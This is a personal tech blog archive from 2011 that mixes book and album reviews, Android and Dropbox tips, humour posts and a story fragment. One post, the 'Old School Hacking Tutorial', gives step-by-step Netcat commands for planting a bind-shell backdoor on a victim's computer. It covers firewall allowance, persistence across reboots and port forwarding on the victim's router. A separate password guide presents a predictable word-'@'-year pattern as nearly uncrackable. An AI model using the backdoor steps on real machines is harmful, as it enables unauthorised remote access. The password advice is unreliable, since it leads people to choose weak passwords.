Friday, July 22, 2011

A Quick Review of Robopocalypse, a Novel by Daniel Wilson


Robopocalypse is a novel by A.I. Researcher Dr. Daniel Wilson that chronicles a near future robotic uprising and the humans that fight back against it, in the style of an oral history.


Minor Spoilers Ahead!

PROs

- The "Oral History" storytelling style allows for a wide scope, which enables Wilson to lay out a story that feels big and broad in only 300 pages.

- The chapters written from the perspective of the Arbiter-class military robot, a liberated AI operating on free will, were particularly engaging and showcased Wilson's knowledge of the technical aspects of his subject matter.

- Robopocalypse is, overall, a highly engaging read. Wilson did a great job of weaving together his series of first hand accounts into an ultimately cogent and suspenseful tale.
 

CONs

- Writing a novel as an "Oral History" requires the author to be able to write convincingly in a number of, often quite different, voices. While Wilson's writing style is good, he seems to have trouble changing it up enough from sub-story to sub-story, and so overall, most of the characters speak in the same voice.

- Some of the cultural, racial and moral lessons seemed a little too forced and obvious.

- The robotic uprising theme is not exactly new ground, and Robopocalypse doesn't do quite as much as I was hoping to expand upon it and take it in new and creative directions. (Read: Most of the core concepts are also found in the Terminator series)

- Robopocalypse left me wanting more, which is good in that it leaves open the potential for a sequel, but there are definitely some plot points that I felt were glossed over too quickly, and quite a few loose ends that remained untied by book's end, which was most likely intentional, but I, nonetheless, found it annoying.

OVERALL

Robopocalypse is an engaging and highly entertaining read but does not break a ton of new ground for the genre and at times came off a tad cliche. However, most of my complaints stem from the extremely high expectations I had for a robotic uprising novel written by a man with a PhD in the topic.

Overall, I would say that if you're a fan of the genre, go pick it up now... otherwise, wait till it hits paperback, or, if you're lazy, the silver screen.

Rating: 4 out of 5

Tuesday, June 28, 2011

Old School Hacking Tutorial: How to install a simple backdoor on (almost) any computer

Want to be an elite hacker, but don't know where to begin?? MyPrivateVoid() takes you back to basics with our Old School Hacking series of Tutorials.

For our first tutorial, we will show you how to install a simple backdoor on nearly any system using Netcat's dead-simple shell binding functionality.


Background:

What is a backdoor?

A backdoor is "a method of bypassing normal authentication, securing remote access to a computer"


What tools will we be using?

Netcat - a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is the "Swiss Army Knife of TCP/IP" (Wikipedia Description)

Netcat is preinstalled on almost all Unix/BSD variants (Mac OSX and Linux) and is available for Windows.


Prerequisites:

You must have command line access to the computer on which you wish to install the backdoor.

If you wish to be able to access the backdoor from someplace other than the local network (across the internet) then you need access to the victim's router configurations.


And now, without further ado, LET'S HACK THE GIBSON!


The Procedure:

If the intended victim's computer is running Windows, start at Step 1, otherwise, skip to Step 2


Step 1) Download Netcat for Windows and extract it to a location on the victim's computer that is in the system path. (I use C:\Windows\)


Step 2) On the victim computer, from the command line, type:

nc -L -p PORT -d -e PATH_TO_SHELL

PORT can be any port number that is not already assigned to another service, try something in the 10000-99999 range

PATH_TO_SHELL is the location of the shell executable that will be bound to the port.

In Windows, this would simply be: cmd.exe
In Linux or Mac, this might be something like: /bin/bash (can be found by typing: which bash)

Usage Example:

nc -L -p 49127 -d -e cmd.exe

This command causes Netcat to run in the background, as it own process.. so you can close the terminal window and it will continue to run!

Netcat is now listening for any incoming connection on port 49127 and binding it to the specified executable, which in this case, is the Windows "shell"

Windows computers will often throw up a window asking if you would like to allow the Windows Firewall to let traffic from nc.exe through... Make sure to permanently allow traffic on all networks, public and private.


Step 3) On your computer (which should have Netcat installed and be on the same network as the victim) type into your terminal:

nc -v -n IP_ADDRESS PORT

IP_ADDRESS is the local IP address of the victim's computer... duh!
PORT is the port you specified in Step 2

Usage Example:

nc -v -n 192.168.1.100 49127

Voila! If you did everything correctly, you should now have remote shell access to the victim's computer!!!

(You will have the same access permissions as whatever user happens to be logged on at the time)


Extending this Tutorial

Make this backdoor persist a system shutdown or reboot: Append the command you ran in Step 2 to the autorun script of the particular OS you are working with. (Google is your friend!)

Make the remote shell accessible from any computer (not just those on the LAN): Access the victim's router and add a port forwarding rule which forwards the port you selected in Step 2 to the IP Address of the victim's computer. Once this is done, you will be able to access the remote shell from anywhere by just replacing their LAN IP Address with their external IP Address in the Netcat command.

*Interesting Side Note: Android has Netcat built into it... Mobile Hacking FTW!

Have fun!

__________________________________________

Friday, June 17, 2011

An Open Letter to Everyone that Comments on The Android Market

Dear Android Market Commenter,

As an aspiring developer, I deeply value your feedback!

H O W E V E R...

It would be great if you could please stop doing the following things:


1) Stating that you have withheld "Stars" until a specific feature is implemented.

Why you should stop: It makes developers MAD! It gives the impression that you think your review (probably one of hundreds) is so important, that it is equivalent to your holding the dev's next of kin hostage until your demands are met.

What you should do instead: If you would like to see the app improve... Send the Dev a politely worded email.

2) Writing "UNINSTALLED" at the end of your negative review.

Why you should stop: Because DUH!!! Of course you uninstalled the app if you didn't like it... What does this add to the review? Are you trying to hurt my feelings? Because, you haven't.

What you should do instead: If you would like to see the app improve... Send the Dev a politely worded email.

3) Asking the developer a question in your review.

Why you should stop: THEY CAN'T ANSWER YOU!!!! Google provides no method for contacting the authors of Market comments.

What you should do instead: If you would like to see the app improved... Send the Dev a politely worded email.

4) General rudeness.

Why you should stop: Just because you can't see me doesn't mean that I don't exist... I am an actual person. If you didn't like the drink you got at Starbucks (which was probably more expensive than my app) would you be so rude? Probably not... you know why? Because in real life, you could get your face slapped off or a generous helping of saliva in your cafe americano.

What you should do instead: I think you can probably guess.
 
Thanks for your time!

Sincerely,

Every Android Developer on Earth

_________________________________________________

Wednesday, June 15, 2011

Why Does Sci-Fi Hate Nerds?

Generally speaking, nerds LOVE science-fiction in all its many forms... however, as several notable examples bear out, it appears that this relationship is not entirely reciprocal.

Lately I have noticed a trend in several science-fiction movies and television series where the characters who carry out the "nerd-work" (scientists, technology specialists, IT professionals etc...) are being portrayed as spineless, socially inept, second-class members of their respective teams... despite the fact that they often play the most crucial role in solving whatever problem confronts them.

I will use three Sci-Fi shows to demonstrate this... Star Trek: The Next Generation, Stargate: Atlantis and Sanctuary.

The Sci-Fi Cast

A Strong, Often Stoic Leader - Jean Luc Picard (TNG) Elizabeth Weir (SGA) Helen Magnus (SANC)

A Heroic Man of Action - Will Riker (TNG) John Sheppard (SGA) Will Zimmerman (SANC)

The Nerd - Geordi LaForge (TNG) Rodney McKay (SGA) Henry Foss (SANC)




The Sci-Fi Formula

On a "routine mission", an unforeseen problem arises... The Leader dispatches the Hero to solve the problem... the Hero does something heroic, but usually ineffectual and becomes imperiled... the Leader demands that the Nerd accomplishes something that should be impossible to rectify the situation, usually in a loud, rude manner... The Nerd is disparaged by the Leader and/or The Hero for being too whiny and/or weak... The Nerd accomplishes the impossible task, effectively saving the day... The Hero performs some showy, yet ultimately trivial final task (like pushing a button)... The Hero receives the vast majority of the credit for the victory and gets the girl... The Nerd goes back to his computer and utter lack of friends... The End!

Note: Picard rarely ever disparaged LaForge, but he did ask the impossible of him constantly, and it was always Riker that got all the alien ladies.. so you get the point.

My Question: Why Sci-Fi? Why do you bite the hand that feeds you?

Tuesday, June 14, 2011

A Very Simple Work-Around for the Mac OS X "Popping" Audio Problem

As I continue to play with my "new" iBook G4, I have run across several fairly minor, yet infuriatingly obnoxious issues... one of which is the extremely common "popping" audio issue that seems to effect a variety of Mac's.  Surprisingly, in my search, I was unable to find a suitable fix on any of the Apple forums. Some sites recommended reverting the audio kernel extension to an older version, however, I am always remiss to downgrade my system, so I began looking for a alternative solution to this issue... here is what I found:

Firstly, to be specific, my issue is only apparent when listening to music and does not occur when audio is not playing (as some have experienced). My music sounds crackly and poppy through a pair of mid-range headphones. This issue is apparent in iTunes, Vox and VLC and is seen in all my music files, regardless of audio quality.

The Work-Around: In VLC, Open the Equalizer window and select the "Headphones" preset, Enable the "Two-Pass" option and the Enable the EQ settings. You may need to adjust the Preamp settings to suit your headphones. This setting should eliminate any poppy, crackly audio you were experiencing.

Note: Strangely, in Vox (my previously default music player), similar EQ modification were ineffective in solving this issue. I didn't even try it in iTunes, as iTunes SUCKS!

Another Note: If the audio sounds too tinny, you may be able to get away with turning off the Two-Pass option, for richer sound, while still eliminating the crackle.

A Tip for Improving System Performance on Older Mac/Linux Machines

If you have an older, resource-deprived machine running Mac OSX or any Linux variant, here is a useful tip to improve system "load-balancing" and stability.

Firstly, determine what you want to accomplish... for the sake of this example, let's say that your music player becomes choppy while performing certain CPU intensive tasks.

Step 1) Open a Terminal window and type "top"
(This will display a task manager that shows all running processes and their associated resource-usage)

Step 2) Find the process that you are interested in changing, in our case, iTunes and take note of the number next to that process in the PID column, this is the process ID for that particular application. In our case the PID is 187, but this will be different on every computer and every time a process is restarted, it will be assigned a new PID.

Step 3) Hit Ctrl+Z to stop TOP and bring you back to your terminal prompt.

Step 4) Use the "renice" command to alter the CPU scheduler priority of that process.

The renice command takes an integer value between -19 (highest priority) and 19 (lowest priority). We call this value, the "niceness".

The niceness that we set for a particular process is specific to our goals. In our example, choppy iTunes, we might want to set the niceness to -10

Note: The niceness of a process can be set to positive number integer values (lower priority) without the need for elevated privileges, however, to set niceness to a negative integer (higher priority), you will need to provide the superuser password.

So, the appropriate command for our specific example would be:

sudo renice -10 -p 187

Explanation of the command:

sudo - Runs the command as SuperUser, so it will ask for the root password once you hit enter. This part of the command is not necessary if you are setting niceness to a positive value.

renice - The command to change CPU scheduler priority

-10 - The niceness we chose to set this process to.

-p - The command switch that tells renice that we will be giving it the process ID.

187 - The process ID that we got from TOP.

This very simple, very old command line utility has a near infinite number of uses, so.. Have Fun!

If you think this is cool and would like to very easily wield this level of control over your Android powered device, check out my app, Mr. Nice Guy on the Android Market:

Mr. Nice Guy

Saturday, May 28, 2011

Rooted Android Phone + LCDDensity = No Longer Needing to Purchase a Dedicated eBook Reader

Need to read an eBook on the run? Sure there are plenty of Android based apps that will enable you to view virtually any eBook format out there... but, unless you have a shiny new tablet, the small screen size of most phones will make doing so an extremely tedious job.

What to do?? The obvious answer is to purchase a dedicated eBook reader like the Nook or Kindle... however, unless you are rolling in spare funds, doing so may very well be cost prohibitive.

Here is a workaround that I have found, which enables me to view eBooks on my phone (an HTC G2) without any trouble whatsoever.

Step 1. Root your phone. (See XDA developers for instructions specific to your device)

Step 2. Install the free LCD Density app from the Android Market. This app essentially changes the display resolution of your rooted device.

Step 3. Using LCD Density, change the screen density to a LOWER number than what it is currently set to... you will need to play around with these settings to find the density that is right for your device. On the G2, the stock density is 240 so I have found that a new density setting of somewhere between 190 and 200 works perfectly for me.

Step 4. Open your favorite eBook reader and enjoy the extra screen real estate!!!

Caveats: some custom launchers, such as Rosie (the HTC Sense launcher) are not written in a way that they can be dynamically resized, and will force close when the LCD density is changed... I suggest using Launcher Pro to avoid such an issue.

Editorial Note: I wrote this entire post from the bathroom of a Chinese Buffet... hurray for the Blogger Android app!

Friday, May 27, 2011

Download Torrents on Your Home Computer from ANYWHERE!

Have you ever been sitting in a coffee shop, browsing the web on your laptop, when you remember that you wanted to try out that new linux distro on your home PC? The only problem is that the linux iso you need is a solid 4GBs and you don't want to go through the hassle of downloading it on to your laptop (at very slow speeds) only to have to transfer it later... and you also don't want to wait till you get home to start the download? (I know that this seems like a very specific example, but this happens to me all the time)

Let's fix that!

Here is what you will need:

-Dropbox
-uTorrent
-Awesomeness

Here's what you do...

On your home computer, open your Dropbox folder and create a new sub-folder called "TorrentBox"

Now open uTorrent and go to Preferences > Directories and check the box that says automatically load .torrent files from the selected folder, and select the newly created TorrentBox folder. (the location of this setting may vary depending on which version of uTorrent you have installed)

Voila... now you can download torrents on to your home computer from anywhere that you have access to your Dropbox (laptop, friends computer, android-based device etc...) by simply dropping the .torrent file into the TorrentBox folder. Within seconds the file will begin downloading on your home computer to your default download location.

Friday, May 20, 2011

A Quick Review of Bon Iver's New Self-Titled Album

After spending some time with the new self-titled Bon Iver album, I must say, I love it.

Justin Vernon's vocals are familiar, but in a good way, and the light application of auto-tune actually seems to add a modern aesthetic to the music, which is often lacking from the indie-folk genre. I listened to the album on repeat for about 4 hours and I never got the feeling that I was listening to the same songs over and over again. 

Simply Beautiful! 5 Stars!

Album available in stores on 6/21/2011

www.boniver.org

Thursday, May 19, 2011

Java Code Viewer + Dropbox = (Light) Developing on my Android Device!!

Two nights ago a heavy rain storm knocked out electricity to my home for about an hour. Unfortunately, this occurred just as I was putting the final touches on a programming project that I was anxious to finish. What to do? I checked my wife's laptop, only to find that it was seconds from death. It was at this point that I looked to my Android-powered smartphone.

Since I keep my Eclipse workspace stored in my Dropbox, it stood to reason that I could access the appropriate files via the Android Dropbox app and make the final adjustments that I wanted to... but there was one problem, no one wants to edit code in a plain text editor, it would be next to impossible to keep track of everything! In comes Java Code Viewer, an android app that opens .java files and displays them properly!

When used to open a file that was launched from the Dropbox app, this solution works quite well! Any time you save your code in Java Code Viewer, Dropbox automatically uploads the changes. 

Of course, Java Code Viewer doesn't possess any of the error detection, import assistance etc... that you have come to rely on in Eclipse, but it definitely provides a quick and dirty solution for making small modifications to your code right from the palm of your hand. 

Saturday, April 16, 2011

A Stupid yet Useful uTorrent Tip for People with Bad Memories who like to Seed

If you're a considerate bittorrent user (i.e. not a hit-and-run leecher) then you most likely have tons of complete torrents, just sitting there, seeding in uTorrent right now... and as long as you have a reasonable upload limit imposed, seeding like that will usually have little to no impact on your download speeds.

However, there is one caveat to being a super-seeder... losing track of what you downloaded! I cannot count the number of times that I have forgotten having downloaded a particular file, because it was visually lost in my large list of seeding torrents.

Here's a stupid, yet useful, tip to prevent that from happening again... and to order your torrents in a much more logical way...

In uTorrent, while looking at your torrents, if you scroll all the way over the right, you will find a "Completed On" column. (Despite being right on uTorrent main screen, this column is not very well known, as few users ever have a reason to scroll that far to the right) Click twice on the words "Completed On" and your list of torrents will now be sorted according to... you guessed it, when they completed downloading.

Voila!

(Editorial Note: I feel like this tip may have been too simple to have used so many words to describe it... Sorry, I'll try to turn the verbosity down in the future)

Google Alerts... I can't believe I am just finding out about this!

It's 2:49am... and in between stalking Stackoverflow for an answer to a particularly baffling Android question and updating my to-do list on Todoist, I discovered something AWESOME (by 2:49am standards).

I recently sent out a myriad of press releases to various online news outlets and blogs covering the release of my newest Android App. To monitor for any press coverage, I had been refreshing a Google News search for the name of my app... and that is when I discovered Google Alerts.



Google Alerts, much like everything else that I am proud of myself for "discovering", is not by any means new, in fact, it has been around for years. However, I believe it is an under-utilized tool that deserves a bit more attention.

From the Google Alerts page:

Google Alerts are emails sent to you when Google finds new results -- such as web pages, newspaper articles, or blogs -- that match your search term. You can use Google Alerts to monitor anything on the Web. For example, people use Google Alerts to:
  • find out what is being said about their company or product.
  • monitor a developing news story.
  • keep up to date on a competitor or industry.
  • get the latest news on a celebrity or sports team.
  • find out what's being said about themselves

All you have to do is enter a search term, then decide what type of results you want to receive and how often. Once created, your alerts are linked to your Google account and can be modified or deleted at any time, from the same Google Alerts page.

Thursday, April 14, 2011

Reasons why the Internet and I have a Love/Hate thing going on...

Like the vast majority of my peers, I occupy a world that is, at least to some degree, defined by the existence and influence of an undefinable entity... a shapeless hive-mind that has made us simultaneously smarter and yet individually less capable than the generations that preceded us. It gave us a tiny world and a huge stage.

By now it is most likely obvious that I am, of course, referring to this.

You see, me and the internet... we have this love/hate thing going on.



I LOVE the idea of "blogging" but I have genuinely HATED every single blog that I've ever read (in fact, I even hate this blog, as I proof-read it to myself)

I LOVE cats.. but I HATE lols.

I LOVE intellectualism... but I HATE anyone who uses that term.

I LOVE viral videos... but I HATE how I'm always the last person to see them.

I LOVE crowd-sourcing and querying the hive... but I HATE every incoherent yet oh-so-adamantly stated opinion that flies freely from the mouths of those that don't have to look you in the face.

I LOVE irony... but I seem to HATE all the people who use it as a neatly-packaged replacement for a personality (read: myself).

I LOVE linux... but one time I told this dude on irc that I used KDE, and apparently that made me a girl, so now I HATE that guy.

I LOVE extended three letter acronyms... but I HATE when people say them phonetically (VOIP is not voyp)

I LOVE streaming... but I HATE buffering.

I LOVE bittorrent... and I really don't have anything bad to say about it.

I LOVE trolling people who use poor grammar... but I HATE myself for doing it.

I LOVE the font helvetica and the word fail... but I HATE anyone who uses either of them frequently.

I LOVE the cloud... but I HATE the ground.

The END.

Monday, April 11, 2011

Dropbox + Eclipse = Developing ANYWHERE!!


If you are a programmer with multiple computers, then this quick tip is for you. Using Dropbox's cloud storage you can easily configure the Eclipse IDE to allow you to sync your work across multiple computers. In addition to convenience, this method provides redundant off-site data backup and a (all be it extremely simple) revision tracking system for your projects.

Step 1. Get Dropbox  http://db.tt/q1JNXsy

Step 2. In Eclipse, Go to File -> Switch Workspace -> Other...

Step 3. In the Select a Workspace window, Browse to your Dropbox folder and create a new folder called "workspace" and select that folder.

Step 4. Nope... you're done!

Do the same on all your computers and you will have a redundant, fast-syncing and versioned development environment.

Note: Dropbox's versioning system (accessed via their website) is limited compared to other, more robust revision control systems... but, for the casual developer, it gets the job done.

(For all you Android developers out there, don't forget to move your keystore to the Dropbox folder as well, so you can sign your apps from anywhere)

Wednesday, April 6, 2011

Frank's Guide to Making the Perfect Password

Pick any word that has 5 or more letters and contains (but does not start with) the letter "a"... then pick a 4 digit number (such as would correspond to a date) then combine them, but capitalize the first letter and replace the "a" with an @ symbol. Example: Frid@y2011 or Alex@ndra2302... because these passwords are over 8 characters, contain capitals, symbols and numbers, they are almost impossible to crack without the aid of a supercomputer... yet they are very simple to remember. (Tip: If you are creating a Windows login password, add five spaces to the end of your password, this will make it even harder to crack (by increasing password length to at least 14 characters) and additionally, since spaces are not typically allowed in passwords, I would guess that most hackers are not even including them in their brute-forcing character sets)

Considering the processing power of a modern high-end computer, the password "Frid@y2011" would take just a little over 600 years to crack via brute-forcing... pretty good, considering that it is such an easy to remember password!

Using Chrome's Incognito Mode to Log into Two Accounts at Once

Yet another thing to be filed under the "Stuff I figured out on my own but then realized Lifehacker did an article on two years ago" category.

Because Chrome's Incognito mode is sandboxed and therefore does not share cookies with a normal Chrome instance, it is possible to simultaneously log into two different accounts on one website or service.

For example, you could open Chrome normally and log into your primary Google account (which will subsequently log that browser into most Google services... Gmail, Blogspot, Docs,Claendar etc...) and then, by pressing CTRL-Shift-N, open an Incognito Window and log into a secondary Google account, and all of it's associated services, without having to log out of your primary account. The two accounts will live peacefully in separate windows, instead of constantly logging each other out, as they would if run from a normal browser.

This can be extremely useful if you monitor multiple Gmail inboxes, use Google services spread across multiple login credentials, or if you value keeping your work and personal profiles separate but easily accessible... the list goes on. Of course, I have just been using Google services as an example... this method will work equally well with any site that requires a login.

Tuesday, April 5, 2011

{REDACTED}... a story idea

This is the verbal testimony of Dr. Phillip C. Vistrum. I am being held against my will in an underground facility, somewhere near {REDACTED}. I have been asked to relate, in great detail, the events of the last year… the events which culminated in my discovery of the {REDACTED}. This request has come at gunpoint, so I feel obliged to comply.

I can remember, quite clearly, the moment in which I realized that this world is not real. It was a Tuesday evening, just after sunset. My wife, if you can call her that, was sick in bed with a mild flu. She asked me to run to the market to pick up some cookies and a bag of oranges. 

Now, I will tell you this… I’ve seen all the movies, read all the books, hell, I’ve even studied a few mathematical proofs on the topic… simulations within simulations, red pills, dead pixels in the sky… the type of paranoid delusions  that fill the seats in movie theaters and fuel the rantings of over-zealous conspiracy theorists.  Any serious scientist would classify such theories as pure hokum, and that is what I believed too… right up until the moment I saw it, staring me right in the face, and in the frozen food section no less, that is where I realized that {R E D A C T E D}